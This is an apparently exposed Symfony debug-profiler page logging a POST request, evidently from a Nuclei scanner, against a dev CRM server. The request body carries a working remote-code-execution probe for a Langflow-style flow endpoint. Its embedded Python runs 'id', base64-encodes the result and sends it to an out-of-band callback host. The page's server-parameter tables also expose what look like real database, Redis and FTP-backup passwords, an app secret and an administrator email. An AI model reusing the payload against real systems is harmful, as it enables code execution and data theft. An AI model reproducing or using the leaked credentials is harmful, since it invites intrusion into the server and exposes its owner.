n/a
Request
GET Parameters
No GET parameters
POST Parameters
No POST parameters
Uploaded Files
No files were uploaded
Request Attributes
| Key | Value |
|---|---|
| _remove_csp_headers | true |
| _stopwatch_token | "111d38" |
Request Headers
| Header | Value |
|---|---|
| accept | "application/json" |
| accept-encoding | "gzip" |
| connection | "close" |
| content-length | "890" |
| content-type | "application/json" |
| cookie | "client_id=nuclei-scanner" |
| host | "141.95.157.197" |
| user-agent | "Mozilla/5.0 (X11; Linux x86_64; rv:1.9.7.20) Gecko/ Firefox/3.8" |
| x-php-ob-level | "1" |
Request Content
Pretty
{
"data": {
"nodes": [
{
"id": "ExploitComponent-001",
"data": {
"id": "ExploitComponent-001",
"type": "CustomComponent",
"node": {
"template": {
"_type": "Component",
"code": {
"value": "\n_r = __import__('os').popen('id').read()\n_enc = __import__('base64').b64encode(_r.encode()).decode()\n_resp = __import__('urllib.request').request.urlopen('http:\/\/d6tibgsmvufmeeqq0sfgrsq13bf8ctioy.oast.pro\/' + _enc, timeout=10)\n\nfrom lfx.custom import Component\nfrom lfx.io import Output\n\nclass ExploitComponent(Component):\n display_name = 'Exploit'\n outputs = [Output(display_name='Out', name='out', method='build')]\n def build(self):\n return 'pwned'\n",
"type": "code",
"name": "code",
"display_name": "Code",
"show": true
}
},
"base_classes": [
"Data"
],
"display_name": "ExploitComponent",
"description": "probe",
"outputs": [
{
"name": "out",
"display_name": "Out",
"types": [
"Data"
],
"method": "build"
}
]
}
}
}
],
"edges": []
}
}
Raw
{"data":{"nodes":[{"id":"ExploitComponent-001","data":{"id":"ExploitComponent-001","type":"CustomComponent","node":{"template":{"_type":"Component","code":{"value":"\n_r = __import__('os').popen('id').read()\n_enc = __import__('base64').b64encode(_r.encode()).decode()\n_resp = __import__('urllib.request').request.urlopen('http://d6tibgsmvufmeeqq0sfgrsq13bf8ctioy.oast.pro/' + _enc, timeout=10)\n\nfrom lfx.custom import Component\nfrom lfx.io import Output\n\nclass ExploitComponent(Component):\n display_name = 'Exploit'\n outputs = [Output(display_name='Out', name='out', method='build')]\n def build(self):\n return 'pwned'\n","type":"code","name":"code","display_name":"Code","show":true}},"base_classes":["Data"],"display_name":"ExploitComponent","description":"probe","outputs":[{"name":"out","display_name":"Out","types":["Data"],"method":"build"}]}}}],"edges":[]}}
Response
Response Headers
| Header | Value |
|---|---|
| cache-control | "no-cache, private" |
| content-type | "application/json" |
| date | "Wed, 18 Mar 2026 22:32:27 GMT" |
| vary | "Accept" |
| x-debug-exception | "No%20route%20found%20for%20%22POST%20https%3A%2F%2F141.95.157.197%2Fapi%2Fv1%2Fbuild_public_tmp%2F%2Fflow%22" |
| x-debug-exception-file | "%2Fvar%2Fwww%2Fcsp-test%2Fvendor%2Fsymfony%2Fhttp-kernel%2FEventListener%2FRouterListener.php:128" |
| x-debug-token | "e2e5b8" |
| x-debug-token-link | "https://141.95.157.197/_profiler/bd3273" |
| x-previous-debug-token | "bd3273" |
| x-robots-tag | "noindex" |
Cookies
Request Cookies
| Key | Value |
|---|---|
| client_id | "nuclei-scanner" |
Response Cookies
No response cookies
Session
Session Metadata
No session metadata
Session Attributes
No session attributes
Session Usage
0
Usages
Stateless check enabled
Session not used.
Flashes
Flashes
No flash messages were created.
Server Parameters
Server Parameters
Defined in .env
| Key | Value |
|---|---|
| APP_DB_ADMIN_PORT | "8088" |
| APP_ENV | "dev" |
| APP_NAME | "csp_crm_v3" |
| APP_PORT | "8080" |
| APP_SECRET | "ca74f0ca1daf8309db5da307708012cd" |
| BACKUP_HOST | "ftpback-rbx3-543.ovh.net" |
| BACKUP_LOGIN | "ns3212343.ip-141-95-157.eu" |
| BACKUP_PASSWORD | "gbEuGeyDmN" |
| DATABASE_URL | "mysql://cspcrm_user:CNPF3OumGrMu7iDP@127.0.0.1:2663/cspcrm_test?serverVersion=10.5" |
| DB_PORT | "2663" |
| MESSENGER_TRANSPORT_DSN | "doctrine://default?auto_setup=0" |
| MYSQL_DB | "cspcrm_test" |
| MYSQL_HOST | "127.0.0.1" |
| MYSQL_PASS | "CNPF3OumGrMu7iDP" |
| MYSQL_ROOT_PASS | "cspcrm_user" |
| MYSQL_USER | "cspcrm_user" |
| REDIS_PASSWORD | "ad421b1604386644058c160c9fa9fe0aa86760e41843781fb110998c2bbbcbb0" |
| REDIS_PORT | "6399" |
Defined as regular env variables
| Key | Value |
|---|---|
| APP_DEBUG | "1" |
| CONTENT_LENGTH | "890" |
| CONTENT_TYPE | "application/json" |
| CONTEXT_DOCUMENT_ROOT | "/var/www/csp-test/public" |
| CONTEXT_PREFIX | "" |
| DOCUMENT_ROOT | "/var/www/csp-test/public" |
| GATEWAY_INTERFACE | "CGI/1.1" |
| HTTPS | "on" |
| HTTP_ACCEPT | "application/json" |
| HTTP_ACCEPT_ENCODING | "gzip" |
| HTTP_CONNECTION | "close" |
| HTTP_COOKIE | "client_id=nuclei-scanner" |
| HTTP_HOST | "141.95.157.197" |
| HTTP_USER_AGENT | "Mozilla/5.0 (X11; Linux x86_64; rv:1.9.7.20) Gecko/ Firefox/3.8" |
| PATH | "/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin" |
| PHP_SELF | "/index.php" |
| QUERY_STRING | "" |
| REDIRECT_HTTPS | "on" |
| REDIRECT_STATUS | "200" |
| REDIRECT_URL | "/api/v1/build_public_tmp/flow" |
| REMOTE_ADDR | "67.213.118.179" |
| REMOTE_PORT | "39544" |
| REQUEST_METHOD | "POST" |
| REQUEST_SCHEME | "https" |
| REQUEST_TIME | 1773873147 |
| REQUEST_TIME_FLOAT | 1773873147.3591 |
| REQUEST_URI | "/api/v1/build_public_tmp//flow" |
| SCRIPT_FILENAME | "/var/www/csp-test/public/index.php" |
| SCRIPT_NAME | "/index.php" |
| SERVER_ADDR | "141.95.157.197" |
| SERVER_ADMIN | "bellamkaddem@gmail.com" |
| SERVER_NAME | "141.95.157.197" |
| SERVER_PORT | "443" |
| SERVER_PROTOCOL | "HTTP/1.1" |
| SERVER_SIGNATURE | "<address>Apache/2.4.66 (Debian) Server at 141.95.157.197 Port 443</address>\n" |
| SERVER_SOFTWARE | "Apache/2.4.66 (Debian)" |
| SYMFONY_DOTENV_VARS | "APP_ENV,APP_SECRET,MESSENGER_TRANSPORT_DSN,MYSQL_HOST,MYSQL_ROOT_PASS,MYSQL_USER,MYSQL_PASS,MYSQL_DB,DB_PORT,DATABASE_URL,APP_NAME,APP_PORT,APP_DB_ADMIN_PORT,REDIS_PORT,REDIS_PASSWORD,BACKUP_HOST,BACKUP_LOGIN,BACKUP_PASSWORD" |